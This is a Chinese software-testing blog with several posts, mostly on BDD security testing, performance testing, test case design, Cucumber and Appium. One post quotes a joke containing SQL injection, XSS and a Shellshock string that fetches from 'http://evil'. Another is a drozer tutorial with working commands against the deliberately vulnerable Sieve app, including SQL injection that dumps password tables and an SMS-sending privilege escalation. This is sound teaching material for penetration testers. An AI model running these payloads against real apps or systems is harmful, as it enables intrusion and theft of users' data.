qileilove

          blog已經(jīng)轉(zhuǎn)移至github,大家請(qǐng)?jiān)L問(wèn) http://qaseven.github.io/

          在開(kāi)發(fā)流程中嵌入安全測(cè)試

           ContinuumSecurity創(chuàng)始人Stephen de Vries,在Velocity Europe 2014大會(huì)上提出了持續(xù)且可視化的安全測(cè)試的觀點(diǎn)。Stephen表示,那些在敏捷開(kāi)發(fā)過(guò)程中用于將QA嵌入整個(gè)開(kāi)發(fā)流程的方法和工具都能同樣的用于安全測(cè)試。BDD-Security是一個(gè)基于JBehave,且遵循Given-When-Then方法的安全測(cè)試框架。
            傳統(tǒng)的安全測(cè)試都遵循瀑布流程,也就是說(shuō)安全團(tuán)隊(duì)總是在開(kāi)發(fā)階段的末期才參與進(jìn)來(lái),并且通常需要外部專家的幫助。在整個(gè)開(kāi)發(fā)流程中,滲透測(cè)試總是被安排到很晚才做,使得為應(yīng)用做安全防范的任務(wù)尤其困難且復(fù)雜。Stephen認(rèn)為安全測(cè)試完全可以變得像QA一樣:每個(gè)人都對(duì)安全問(wèn)題負(fù)責(zé);安全問(wèn)題可以在更接近代碼的層面考慮;安全測(cè)試完全可以嵌入一個(gè)持續(xù)集成的開(kāi)發(fā)過(guò)程中。
            為了論證QA和安全測(cè)試只有量的區(qū)別而沒(méi)有質(zhì)的區(qū)別,Stephen展示了C. Maartmann-Moe和Bill Sempf分別發(fā)布的推特:
            從QA的角度:
            QA工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了0杯啤酒;點(diǎn)了999999999杯啤酒;點(diǎn)了一只蜥蜴;點(diǎn)了-1杯啤酒;點(diǎn)了一個(gè)sfdeljknesv。
            從安全的角度:
            滲透測(cè)試工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了”>杯啤酒;點(diǎn)了’or 1=1-杯啤酒;點(diǎn)了() { :; }; wget -O /beers http://evil; /杯啤酒。  要將安全測(cè)試集成進(jìn)敏捷開(kāi)發(fā)流程中,首先需要滿足的條件是:可見(jiàn)性,以便采取及時(shí)應(yīng)對(duì)措施并修補(bǔ);可測(cè)試性,以便于自動(dòng)化,比僅僅簡(jiǎn)單的掃描更有價(jià)值。Stephen發(fā)現(xiàn)BDD工具族就同時(shí)滿足了可見(jiàn)性及可測(cè)試性,因此他開(kāi)始著手構(gòu)建BDD-Security安全測(cè)試框架。
            由于BDD-Security是基于JBehave構(gòu)建的,因此它使用BDD的標(biāo)準(zhǔn)說(shuō)明語(yǔ)言Gherkin。一個(gè)BDD-Security測(cè)試場(chǎng)景如下:
            Scenario: Transmit authentication credentials over HTTPS
            Meta: @id auth_https
            Given the browser is configured to use an intercepting proxy
            And the proxy logs are cleared
            And the default user logs in with credentials from: users.table
            And the HTTP request-response containing the default credentials is inspected
            Then the protocol should be HTTPS
            BDD-Security用戶故事的編寫(xiě)與通常做法不太一樣。BDD-Security說(shuō)明頁(yè)面上寫(xiě)著:
            本框架的架構(gòu)設(shè)計(jì)使得安全用例故事與應(yīng)用的特定導(dǎo)航邏輯相互獨(dú)立,這意味著同一個(gè)用戶故事僅需要做微小的改動(dòng)就能用在多個(gè)應(yīng)用中,有時(shí)甚至無(wú)需修改。
            這也說(shuō)明BDD-Security框架認(rèn)為對(duì)許多應(yīng)用來(lái)說(shuō),有一系列安全需求都是普遍要滿足的。也就是說(shuō)你只需寫(xiě)代碼把已有的故事插入你的應(yīng)用——也就是導(dǎo)航邏輯中即可。當(dāng)然,必要的時(shí)候你也完全可以編寫(xiě)自己的用戶故事。
            BDD-Security依賴于第三方安全測(cè)試工具來(lái)執(zhí)行具體的安全相關(guān)的行為,例如應(yīng)用掃描。這些工具有OWASP ZAP或Nessus等。
            Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡(jiǎn)單的工具,不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似,同樣支持BDD,只是它使用的編程語(yǔ)言是Ruby。Mittn用Python編寫(xiě)并且同樣也使用Gherkin。

          posted @ 2015-03-18 22:10 順其自然EVO 閱讀(3313) | 評(píng)論 (0)編輯 收藏

          如何進(jìn)行Web服務(wù)的性能測(cè)試?

            隨著瀏覽器功能的不斷完善,用戶量不斷的攀升,涉及到web服務(wù)的功能在不斷的增加,對(duì)于我們測(cè)試來(lái)說(shuō),我們不僅要保證服務(wù)端功能的正確性,也要驗(yàn)證服務(wù)端程序的性能是否符合要求。那么性能測(cè)試都要做些什么呢?我們?cè)撛鯓舆M(jìn)行性能測(cè)試呢?
            性能測(cè)試一般會(huì)圍繞以下這些問(wèn)題而進(jìn)行:
            1. 什么情況下需要做性能測(cè)試?
            2. 什么時(shí)候做性能測(cè)試?
            3. 做性能測(cè)試需要準(zhǔn)備哪些內(nèi)容?
            4. 什么樣的性能指標(biāo)是符合要求的?
            5. 性能測(cè)試需要收集的數(shù)據(jù)有哪些?
            6. 怎樣收集這些數(shù)據(jù)?
            7. 如何分析收集到的數(shù)據(jù)?
            8. 如何給出性能測(cè)試報(bào)告?
            性能測(cè)試的執(zhí)行過(guò)程及要做的事兒主要包含以下內(nèi)容:
            1. 測(cè)試評(píng)估階段
            在這個(gè)階段,我們要評(píng)估被測(cè)的產(chǎn)品是否要進(jìn)行性能測(cè)試,并且對(duì)目前的服務(wù)器環(huán)境進(jìn)行粗估,服務(wù)的性能是否滿足條件。
            首先要明確只要涉及到準(zhǔn)備上線的服務(wù)端產(chǎn)品,就需要進(jìn)行性能測(cè)試。其次如果產(chǎn)品需求中明確提到了性能指標(biāo),那也必須要做性能測(cè)試。
            測(cè)試人員在進(jìn)行性能測(cè)試前,需要根據(jù)當(dāng)前的收集到的各種信息,預(yù)先做性能的評(píng)估,收集的內(nèi)容主要包括帶寬、請(qǐng)求包大小、并發(fā)用戶數(shù)和當(dāng)前web服務(wù)的帶寬等
            2. 測(cè)試準(zhǔn)備階段
            在這個(gè)階段,我們要了解以下內(nèi)容:
            a. 服務(wù)器的架構(gòu)是什么樣的,例如:web服務(wù)器是什么?是如何配置的?數(shù)據(jù)庫(kù)用的是什么?服務(wù)用的是什么語(yǔ)言編寫(xiě)的?;
            b. 服務(wù)端功能的內(nèi)部邏輯實(shí)現(xiàn);
            c. 服務(wù)端與數(shù)據(jù)庫(kù)是如何交互的,例如:數(shù)據(jù)庫(kù)的表結(jié)構(gòu)是什么樣的?服務(wù)端功能是怎樣操作數(shù)據(jù)庫(kù)的?
            d. 服務(wù)端與客戶端之間是如何進(jìn)行交互的,即接口定義;
            通過(guò)收集以上信息,測(cè)試人員整理出服務(wù)器端各模塊之間的交互圖,客戶端與服務(wù)端之間的交互圖以及服務(wù)端內(nèi)部功能邏輯實(shí)現(xiàn)的流程圖。
            e. 該服務(wù)上線后的用戶量預(yù)估是多少,如果無(wú)法評(píng)估出用戶量,那么可以通過(guò)設(shè)計(jì)測(cè)試執(zhí)行的場(chǎng)景得出這個(gè)值;
            f. 上線要部署到多少臺(tái)機(jī)器上,每臺(tái)機(jī)器的負(fù)載均衡是如何設(shè)計(jì)的,每臺(tái)機(jī)器的配置什么樣的,網(wǎng)絡(luò)環(huán)境是什么樣的。
            g. 了解測(cè)試環(huán)境與線上環(huán)境的不同,例如網(wǎng)絡(luò)環(huán)境、硬件配置等
            h. 制定測(cè)試執(zhí)行的策略,是需要驗(yàn)證需求中的指標(biāo)能否達(dá)到,還是評(píng)估系統(tǒng)的最大處理能力。
            i. 溝通上線的指標(biāo)
            通過(guò)收集以上信息,確定性能測(cè)試用例該如何設(shè)計(jì),如何設(shè)計(jì)性能測(cè)試用例執(zhí)行的場(chǎng)景,以及上線指標(biāo)的評(píng)估。
            3. 測(cè)試設(shè)計(jì)階段
            根據(jù)測(cè)試人員通過(guò)之前整理的交互圖和流程圖,設(shè)計(jì)相應(yīng)的性能測(cè)試用例。性能測(cè)試用例主要分為預(yù)期目標(biāo)用戶測(cè)試,用戶并發(fā)測(cè)試,疲勞強(qiáng)度與大數(shù)量測(cè)試,網(wǎng)絡(luò)性能測(cè)試,服務(wù)器性能測(cè)試,具體編寫(xiě)的測(cè)試用例要更具實(shí)際情況進(jìn)行裁減。
            用例編寫(xiě)的步驟大致分為:
            a. 通過(guò)腳本模擬單一用戶是如何使用這個(gè)web服務(wù)的。這里模擬的可以是用戶使用web服務(wù)的某一個(gè)動(dòng)作或某幾個(gè)動(dòng)作,某一個(gè)功能或幾個(gè)功能,也可以是使用web服務(wù)的整個(gè)過(guò)程。
            b. 根據(jù)客戶端的實(shí)際情況和服務(wù)器端的策略,通過(guò)將腳本中可變的數(shù)據(jù)進(jìn)行參數(shù)化,來(lái)模擬多個(gè)用戶的操作。
            c. 驗(yàn)證參數(shù)化后腳本功能的正確性。
            d. 添加檢查點(diǎn)
            e. 設(shè)計(jì)腳本執(zhí)行的策略,如每個(gè)功能的執(zhí)行次數(shù),各個(gè)功能的執(zhí)行順序等
            4. 測(cè)試執(zhí)行階段
            根據(jù)客戶端的產(chǎn)品行為設(shè)計(jì)web服務(wù)的測(cè)試執(zhí)行場(chǎng)景及測(cè)試執(zhí)行的過(guò)程,即測(cè)試執(zhí)行期間發(fā)生的事兒。通過(guò)監(jiān)控程序收集web服務(wù)的性能數(shù)據(jù)和web服務(wù)所在系統(tǒng)的性能數(shù)據(jù)。
            在測(cè)試執(zhí)行過(guò)程中,還要不斷的關(guān)注以下內(nèi)容:
            a. web服務(wù)的連接速度如何?
            b. 每秒的點(diǎn)擊數(shù)如何?
            c. Web服務(wù)能允許多少個(gè)用戶同時(shí)在線?
            d. 如果超過(guò)了這個(gè)數(shù)量,會(huì)出現(xiàn)什么現(xiàn)象?
            e. Web服務(wù)能否處理大量用戶對(duì)同一個(gè)頁(yè)面的請(qǐng)求?
            f. 如果web服務(wù)崩潰,是否會(huì)自動(dòng)恢復(fù)?
            g. 系統(tǒng)能否同一時(shí)間響應(yīng)大量用戶的請(qǐng)求?
            h. 打壓機(jī)的系統(tǒng)負(fù)載狀態(tài)。
            5. 測(cè)試分析階段
            將收集到的數(shù)據(jù)制成圖表,查看各指標(biāo)的性能變化曲線,結(jié)合之前確定的上線指標(biāo),對(duì)各項(xiàng)數(shù)據(jù)進(jìn)行分析,已確定是否繼續(xù)對(duì)web服務(wù)進(jìn)行測(cè)試,結(jié)果是否達(dá)到了期望值。
            6. 測(cè)試驗(yàn)證階段
            在開(kāi)發(fā)針對(duì)發(fā)現(xiàn)的性能問(wèn)題進(jìn)行修復(fù)后,要再執(zhí)行性能測(cè)試的用例對(duì)問(wèn)題進(jìn)行驗(yàn)證。這里需要關(guān)注的是開(kāi)發(fā)在解決問(wèn)題的同時(shí)可能無(wú)意中修改了某些功能,所以在驗(yàn)證性能的同時(shí),也要關(guān)注原有功能是否受到了影響

          posted @ 2015-03-18 22:08 順其自然EVO 閱讀(3084) | 評(píng)論 (1)編輯 收藏

          利用drozer進(jìn)行Android滲透測(cè)試

           一、安裝與啟動(dòng)
            1. 安裝
            第一步:從http://mwr.to/drozer下載Drozer (Windows Installer)
            第二步:在Android設(shè)備中安裝agent.apk
            adb install agent.apk
            2. 啟動(dòng)
            第一步:在PC上使用adb進(jìn)行端口轉(zhuǎn)發(fā),轉(zhuǎn)發(fā)到Drozer使用的端口31415
            adb forward tcp:31415 tcp:31415
            第二步:在Android設(shè)備上開(kāi)啟Drozer Agent
            選擇embedded server-enable
            第三步:在PC上開(kāi)啟Drozer console
            drozer console connect
            二、測(cè)試步驟
            1.獲取包名
            dz> run app.package.list -f sieve
            com.mwr.example.sieve
            2.獲取應(yīng)用的基本信息
            run app.package.info -a com.mwr.example.sieve
            3.確定攻擊面
            run app.package.attacksurface com.mwr.example.sieve
            4.Activity
            (1)獲取activity信息
            run app.activity.info -a com.mwr.example.sieve
            (2)啟動(dòng)activity
            run app.activity.start --component com.mwr.example.sieve
            dz> help app.activity.start
            usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
            [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
            [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
            [--mimetype MIMETYPE]
            5.Content Provider
            (1)獲取Content Provider信息
            run app.provider.info -a com.mwr.example.sieve
            (2)Content Providers(數(shù)據(jù)泄露)
            先獲取所有可以訪問(wèn)的Uri:
            run scanner.provider.finduris -a com.mwr.example.sieve
            獲取各個(gè)Uri的數(shù)據(jù):
            run app.provider.query
            content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
            查詢到數(shù)據(jù)說(shuō)明存在漏洞
            (3)Content Providers(SQL注入)
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
            報(bào)錯(cuò)則說(shuō)明存在SQL注入。
            列出所有表:
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
            獲取某個(gè)表(如Key)中的數(shù)據(jù):
            run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
            (4)同時(shí)檢測(cè)SQL注入和目錄遍歷
            run scanner.provider.injection -a com.mwr.example.sieve
            run scanner.provider.traversal -a com.mwr.example.sieve
            6 intent組件觸發(fā)(拒絕服務(wù)、權(quán)限提升)
            利用intent對(duì)組件的觸發(fā)一般有兩類漏洞,一類是拒絕服務(wù),一類的權(quán)限提升。拒絕服務(wù)危害性比較低,更多的只是影響應(yīng)用服務(wù)質(zhì)量;而權(quán)限提升將使得沒(méi)有該權(quán)限的應(yīng)用可以通過(guò)intent觸發(fā)擁有該權(quán)限的應(yīng)用,從而幫助其完成越權(quán)行為。
            1.查看暴露的廣播組件信息:
            run app.broadcast.info -a com.package.name  獲取broadcast receivers信息
            run app.broadcast.send --component 包名 --action android.intent.action.XXX
            2.嘗試拒絕服務(wù)攻擊檢測(cè),向廣播組件發(fā)送不完整intent(空action或空extras):
            run app.broadcast.send 通過(guò)intent發(fā)送broadcast receiver
            (1)   空action
            run app.broadcast.send --component 包名 ReceiverName
            run app.broadcast.send --component 包名 ReceiverName
            (2)   空extras
            run app.broadcast.send --action android.intent.action.XXX
            3.嘗試權(quán)限提升
            權(quán)限提升其實(shí)和拒絕服務(wù)很類似,只不過(guò)目的變成構(gòu)造更為完整、更能滿足程序邏輯的intent。由于activity一般多于用戶交互有關(guān),所以基 于intent的權(quán)限提升更多針對(duì)broadcast receiver和service。與drozer相關(guān)的權(quán)限提升工具,可以參考IntentFuzzer,其結(jié)合了drozer以及hook技術(shù),采用 feedback策略進(jìn)行fuzzing。以下僅僅列舉drozer發(fā)送intent的命令:
            (1)獲取service詳情
            run app.service.info -a com.mwr.example.sieve
            不使用drozer啟動(dòng)service
            am startservice –n 包名/service名
            (2)權(quán)限提升
            run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
            7.文件操作
            列出指定文件路徑里全局可寫(xiě)/可讀的文件
            run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
            run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
            run app.broadcast.send --component 包名 --action android.intent.action.XXX
            8.其它模塊
            shell.start 在設(shè)備上開(kāi)啟一個(gè)交互shell
            tools.file.upload / tools.file.download 上傳/下載文件到設(shè)備
            tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進(jìn)制文件

          posted @ 2015-03-18 22:06 順其自然EVO 閱讀(6008) | 評(píng)論 (0)編輯 收藏

          在服務(wù)器虛擬化架構(gòu)中有哪些技術(shù)功能和益處

          關(guān)于服務(wù)器虛擬化的概念,業(yè)界有不同的定義,但其核心是一致的,即它是一種方法,能夠在整合多個(gè)應(yīng)用服務(wù)的同時(shí),通過(guò)區(qū)分應(yīng)用服務(wù)的優(yōu)先次序?qū)⒎?wù)器資源分配給最需要它們的工作負(fù)載來(lái)簡(jiǎn)化管理和提高效率。其主要功能包括以下四個(gè)方面:
            集成整合功能。虛擬化服務(wù)器主要是由物理服務(wù)器和虛擬化程序構(gòu)成的,通過(guò)把一臺(tái)物理服務(wù)器劃分為多個(gè)虛擬機(jī),或者把若干個(gè)分散的物理服務(wù)器虛擬為一個(gè)整體邏輯服務(wù)器,從而將多個(gè)操作系統(tǒng)和應(yīng)用服務(wù)整合到強(qiáng)大的虛擬化架構(gòu)上。
            動(dòng)態(tài)遷移功能。這里所說(shuō)的動(dòng)態(tài)遷移主要是指V2V(虛擬機(jī)到虛擬機(jī)的遷移)技術(shù)。具體來(lái)講,當(dāng)某一個(gè)服務(wù)器因故障停機(jī)時(shí),其承載的虛擬機(jī)可以自動(dòng)切換到另一臺(tái)虛擬服務(wù)器,而在整個(gè)過(guò)程中應(yīng)用服務(wù)不會(huì)中斷,實(shí)現(xiàn)系統(tǒng)零宕機(jī)在線遷移。
            資源分配功能。虛擬化架構(gòu)技術(shù)中引入了動(dòng)態(tài)資源調(diào)度技術(shù),系統(tǒng)將所有虛擬服務(wù)器作為一個(gè)整體資源統(tǒng)一進(jìn)行管理,并按實(shí)際需求自動(dòng)進(jìn)行動(dòng)態(tài)資源調(diào)配,在保證系統(tǒng)穩(wěn)定運(yùn)行的前提下,實(shí)現(xiàn)資源利用最大化。
            強(qiáng)大的管理控制界面。通過(guò)可視化界面實(shí)時(shí)監(jiān)控物理服務(wù)器以及各虛擬機(jī)的運(yùn)行情況,實(shí)現(xiàn)對(duì)全部虛擬資源的管理、維護(hù)及部署等操作。
            服務(wù)器虛擬化的益處
            采用服務(wù)器虛擬化技術(shù)的益處主要表現(xiàn)在以下幾個(gè)方面。
            節(jié)省采購(gòu)費(fèi)用。通過(guò)虛擬化技術(shù)對(duì)應(yīng)用服務(wù)器進(jìn)行整合,可以大幅縮減企業(yè)在采購(gòu)環(huán)節(jié)的開(kāi)支,在硬件環(huán)節(jié)可以為企業(yè)節(jié)省34%~80%的采購(gòu)成本。
            同時(shí),還可以節(jié)省軟件采購(gòu)費(fèi)用。軟件許可成本是企業(yè)不可忽視的重要支出。而隨著微軟、紅帽等軟件巨頭的加入,虛擬化架構(gòu)技術(shù)在軟件成本上的優(yōu)勢(shì)也逐漸得以體現(xiàn)。
            降低系統(tǒng)運(yùn)行維護(hù)成本。由于虛擬化在整合服務(wù)器的同時(shí)采用了更為出色的管理工具,減少了管理維護(hù)人員在網(wǎng)絡(luò)、線路、軟硬件維護(hù)方面的工作量,信息部門(mén)得以從傳統(tǒng)的維護(hù)管理工作中解放出來(lái),將更多的時(shí)間和精力用于推動(dòng)創(chuàng)新工作和業(yè)務(wù)增長(zhǎng)等活動(dòng),這也為企業(yè)帶來(lái)了利益。
            通過(guò)虛擬化技術(shù)可以減少物理服務(wù)器的數(shù)量,這就意味著企業(yè)機(jī)房耗電量、散熱量的降低,同時(shí)還為企業(yè)節(jié)省了空調(diào)、機(jī)房配套設(shè)備的改造升級(jí)費(fèi)用。
            提高資源利用率。保障業(yè)務(wù)系統(tǒng)的快速部署是信息化工作的一項(xiàng)重要指標(biāo),而傳統(tǒng)模式中服務(wù)器的采購(gòu)安裝周期較長(zhǎng),一定程度上限制了系統(tǒng)部署效率。利用虛擬化技術(shù),可以快速搭建虛擬系統(tǒng)平臺(tái),大幅縮減部署籌備時(shí)間,提高工作效率。
            由于虛擬化服務(wù)器具有動(dòng)態(tài)資源分配功能,因此當(dāng)一臺(tái)虛擬機(jī)的應(yīng)用負(fù)載趨于飽和時(shí),系統(tǒng)會(huì)根據(jù)之前定義的分配規(guī)則自動(dòng)進(jìn)行資源調(diào)配。根據(jù)大部分虛擬化技術(shù)廠商提供的數(shù)據(jù)指標(biāo)來(lái)看,通過(guò)虛擬化整合服務(wù)器后,資源平均利用率可以從5%~15%提高到60%~80%。
            提高系統(tǒng)的安全性。傳統(tǒng)服務(wù)器硬件維護(hù)通常需要數(shù)天的籌備期和數(shù)小時(shí)的維護(hù)窗口期。而在虛擬化架構(gòu)技術(shù)環(huán)境下,服務(wù)器遷移只需要幾秒鐘的時(shí)間。由于遷移過(guò)程中服務(wù)沒(méi)有中斷,管理員無(wú)須申請(qǐng)系統(tǒng)停機(jī),在降低管理維護(hù)工作量的同時(shí),提高系統(tǒng)運(yùn)行連續(xù)性。
            目前虛擬化主流技術(shù)廠商均在其虛擬化平臺(tái)中引入數(shù)據(jù)快照以及虛擬存儲(chǔ)等安全機(jī)制,因此在數(shù)據(jù)安全等級(jí)和系統(tǒng)容災(zāi)能力方面,較原有單機(jī)運(yùn)行模式有了較大提高。

          目前 我司正在應(yīng)用aws 確實(shí)很不錯(cuò),節(jié)省成本 服務(wù)穩(wěn)定,比什么阿里云 強(qiáng)了不知道多少倍

          posted @ 2015-03-18 22:03 順其自然EVO 閱讀(1884) | 評(píng)論 (1)編輯 收藏

          閱讀《測(cè)試用例指南》筆記

          1.測(cè)試用例 :分有基本流和備選流。
            2.要先確定測(cè)試用例描述,再在測(cè)試用例 實(shí)施矩陣中確定相應(yīng)的測(cè)試用例數(shù)據(jù)。
            3.從補(bǔ)充規(guī)約中生成測(cè)試用例
            (1)為性能測(cè)試生成測(cè)試用例
            (2)為安全性/訪問(wèn)控制測(cè)試生成測(cè)試用例
            關(guān)鍵:先指定執(zhí)行用例的主角
            (3)為配置測(cè)試生成測(cè)試用例
            主要是為了核實(shí)測(cè)試目標(biāo)在不同的配置情況下(如不同的OS,Browser,CPU速度等)是否能正常 地 工作或執(zhí)行。
            針對(duì)第個(gè)關(guān)鍵配置,每個(gè)可能有問(wèn)題的配置都至少應(yīng)該有一個(gè)測(cè)試用例。
            (4)為安裝測(cè)試生成測(cè)試用例
            a.需要對(duì)以下各種安裝情況設(shè)計(jì)測(cè)試用例:
            分發(fā)介質(zhì)(如磁盤(pán),CD-ROM和文件服務(wù)器)
            首次安裝
            完全安裝
            自定義安裝
            升級(jí)安裝
            b.測(cè)試目標(biāo)應(yīng)包括所有構(gòu)件的安裝
            客戶機(jī),中間層,服務(wù)器
            (5)為其他非功能性測(cè)試生成測(cè)試用例
            如操作測(cè)試,對(duì)性能瓶頸,系統(tǒng)容量或測(cè)試目標(biāo)的強(qiáng)度承受能力進(jìn)行調(diào)查的測(cè)試用例
            4.在白盒測(cè)試黑盒測(cè)試的同時(shí)都應(yīng)該進(jìn)行可靠性測(cè)試。
            5.為產(chǎn)品驗(yàn)收測(cè)試生成測(cè)試用例
            6.為回歸測(cè)試編制測(cè)試用例
            a.回歸測(cè)試是比較同一測(cè)試目標(biāo)的兩個(gè)版本或版本,并將將差異確定為潛在的缺陷。
            b.為使測(cè)試用例發(fā)揮回歸測(cè)試和復(fù)用的價(jià)值,同時(shí)將維護(hù)成本減至最低,應(yīng):
            確保測(cè)試用例只確定關(guān)鍵的數(shù)據(jù)元素(創(chuàng)建/支持被測(cè)試的條件支持的測(cè)上試用例)
            確保每個(gè)測(cè)試用例都說(shuō)明或代表一個(gè)唯一的輸入集或事件序列,其結(jié)果是獨(dú)特的測(cè)試目標(biāo)行為
            消除多余或等效的測(cè)試用例
            將具有相同的測(cè)試目標(biāo)初始狀態(tài)和測(cè)試數(shù)據(jù)狀態(tài)的測(cè)試用例組合在一起

          posted @ 2015-03-18 22:00 順其自然EVO 閱讀(1827) | 評(píng)論 (0)編輯 收藏

          行為驅(qū)動(dòng)開(kāi)發(fā): Cucumber的目錄結(jié)構(gòu)和執(zhí)行過(guò)程

          行為驅(qū)動(dòng)開(kāi)發(fā): Cucumber的目錄結(jié)構(gòu)和執(zhí)行過(guò)程

                Cucumber是Ruby世界的BDD框架,開(kāi)發(fā)人員主要與兩類文件打交到,F(xiàn)eature文件和相應(yīng)的Step文件。Feature文件是以feature為后綴名的文件,以Given-When-Then的方式描述了系統(tǒng)的場(chǎng)景(scenarios)行為;Step文件為普通的Ruby文件,F(xiàn)eature文件中的每個(gè)Given/When/Then步驟在Step文件中都有對(duì)應(yīng)的Ruby執(zhí)行代碼,兩類文件通過(guò)正則表達(dá)式相關(guān)聯(lián)。筆者在用Cucumber+Watir做回歸測(cè)試時(shí)對(duì)Cucumber工程的目錄結(jié)構(gòu)執(zhí)行過(guò)程進(jìn)行了研究。

          安裝好Cucumber后,如果在終端直接執(zhí)行cucumber命令,得到以下輸出:

          輸出結(jié)果表明:cucumber期待當(dāng)前目錄下存在名為features的子目錄。建好features文件夾后,重新執(zhí)行cucumber命令,輸出如下:

          Cucumber運(yùn)行成功,但由于features文件夾下沒(méi)有任何內(nèi)容,故得到上述輸出結(jié)果。

          網(wǎng)上大多數(shù)關(guān)于Cucumber的教程都建議采用以下目錄結(jié)構(gòu),所有的文件(夾)都位于features文件夾下。

          Feature文件(如test.feature)直接位于features文件夾下,可以為每個(gè)應(yīng)用場(chǎng)景創(chuàng)建一個(gè)Feature文件;與Feature文件對(duì)應(yīng)的Step文件(如test.rb)位于step_definitions子文件夾下;同時(shí),存在support子文件夾,其下的env.rb文件為環(huán)境配置文件。在這樣的目錄結(jié)構(gòu)條件下執(zhí)行cucumber命令,會(huì)首先執(zhí)行env.rb做前期準(zhǔn)備工作,比如可以用Watir新建瀏覽器窗口,然后Cucumber將test.rb文件讀入內(nèi)存,最后執(zhí)行test.feature文件,當(dāng)遇到Given/When/Then步驟時(shí),Cucumber將在test.rb中搜索是否有相應(yīng)的step,如果有,則執(zhí)行相應(yīng)的Ruby代碼。

          這樣的目錄結(jié)構(gòu)只是推薦的目錄結(jié)構(gòu),筆者通過(guò)反復(fù)的試驗(yàn)得出了以下結(jié)論:對(duì)于Cucumber而言,除了頂層的features文件夾是強(qiáng)制性的之外,其它目錄結(jié)構(gòu)都不是強(qiáng)制性的,Cucumber將對(duì)features文件夾下的所有內(nèi)容進(jìn)行扁平化(flatten)處理和首字母排序。具體來(lái)說(shuō),Cucumber在運(yùn)行時(shí),首先將遞歸的執(zhí)行features文件夾下的所有Ruby文件(其中則包括Step文件),然后通過(guò)相同的方式執(zhí)行Feature文件。但是,如果features文件夾下存在support子文件夾,并且support下有名為env.rb的文件,Cucumber將首先執(zhí)行該文件,然后執(zhí)行support下的其它文件,再遞歸執(zhí)行featues下的其它文件。

          比如有如下Cucumber目錄結(jié)構(gòu):

          為了方便記錄Cucumber運(yùn)行時(shí)的文件執(zhí)行順序,在features文件夾下的所有Ruby文件中加上以下代碼:

          puts File.basename(__FILE__)

          此行代碼的作用是在一個(gè)Ruby文件執(zhí)行時(shí)輸出該文件的名字,此時(shí)執(zhí)行cucumber命令,得到以下輸出(部分)結(jié)果:

          上圖即為Ruby文件的執(zhí)行順序,可以看出,support文件夾下env.rb文件首先被執(zhí)行,其次按照字母排序執(zhí)行c.rb和d.rb;接下來(lái),Cucumber將features文件夾下的所用文件(夾)扁平化,并按字母順序排序,從而先執(zhí)行a.rb和b.rb,而由于other文件夾排在step_definitions文件夾的前面,所以先執(zhí)行other文件夾下的Ruby文件(也是按字母順序執(zhí)行:先f(wàn).rb,然后g.rb),最后執(zhí)行step_definitions下的e.rb。

          當(dāng)執(zhí)行完所有Ruby文件后,Cucumber開(kāi)始依次讀取Feature文件,執(zhí)行順序也和前述一樣,即: a.feature --> b.feature --> c.feature

          筆者還發(fā)現(xiàn),這些Ruby文件甚至可以位于features文件夾之外的任何地方,只是需要在位于features文件夾之內(nèi)的Ruby文件中require一下,比如在env.rb中。

          posted @ 2014-12-28 01:29 順其自然EVO 閱讀(2490) | 評(píng)論 (0)編輯 收藏

          Appium Android Bootstrap之控件AndroidElement

          AndroidElementHash的這個(gè)getElement命令要做的事情就是針對(duì)這兩點(diǎn)來(lái)根據(jù)不同情況獲得目標(biāo)控件
          /**
          * Return an elements child given the key (context id), or uses the selector
          * to get the element.
          *
          * @param sel
          * @param key
          *          Element id.
          * @return {@link AndroidElement}
          * @throws ElementNotFoundException
          */
          public AndroidElement getElement(final UiSelector sel, final String key)
          throws ElementNotFoundException {
          AndroidElement baseEl;
          baseEl = elements.get(key);
          UiObject el;
          if (baseEl == null) {
          el = new UiObject(sel);
          } else {
          try {
          el = baseEl.getChild(sel);
          } catch (final UiObjectNotFoundException e) {
          throw new ElementNotFoundException();
          }
          }
          if (el.exists()) {
          return addElement(el);
          } else {
          throw new ElementNotFoundException();
          }
          }
            如果是第1種情況就直接通過(guò)選擇子構(gòu)建UiObject對(duì)象,然后通過(guò)addElement把UiObject對(duì)象轉(zhuǎn)換成AndroidElement對(duì)象保存到控件哈希表
            如果是第2種情況就先根據(jù)appium傳過(guò)來(lái)的控件哈希表鍵值獲得父控件,再通過(guò)子控件的選擇子在父控件的基礎(chǔ)上查找到目標(biāo)UiObject控件,最后跟上面一樣把該控件通過(guò)上面的addElement把UiObject控件轉(zhuǎn)換成AndroidElement控件對(duì)象保存到控件哈希表
            4. 求證
            上面有提過(guò),如果pc端的腳本執(zhí)行對(duì)同一個(gè)控件的兩次findElement會(huì)創(chuàng)建兩個(gè)不同id的AndroidElement并存放到控件哈希表中,那么為什么appium的團(tuán)隊(duì)沒(méi)有做一個(gè)增強(qiáng),增加一個(gè)keyMap的方法(算法)和一些額外的信息來(lái)讓同一個(gè)控件使用不同的key的時(shí)候?qū)?yīng)的還是同一個(gè)AndroidElement控件呢?畢竟這才是哈希表實(shí)用的特性之一了,不然你直接用一個(gè)Dictionary不就完事了?網(wǎng)上說(shuō)了幾點(diǎn)hashtable和dictionary的差別,如多線程環(huán)境最好使用哈希表而非字典等,但在bootstrap這個(gè)控件哈希表的情況下我不是很信服這些說(shuō)法,有誰(shuí)清楚的還勞煩指點(diǎn)一二了
            這里至于為什么appium不去提供額外的key信息并且實(shí)現(xiàn)keyMap算法,我個(gè)人倒是認(rèn)為有如下原因:
            有誰(shuí)這么無(wú)聊在同一個(gè)測(cè)試方法中對(duì)同一個(gè)控件查找兩次?
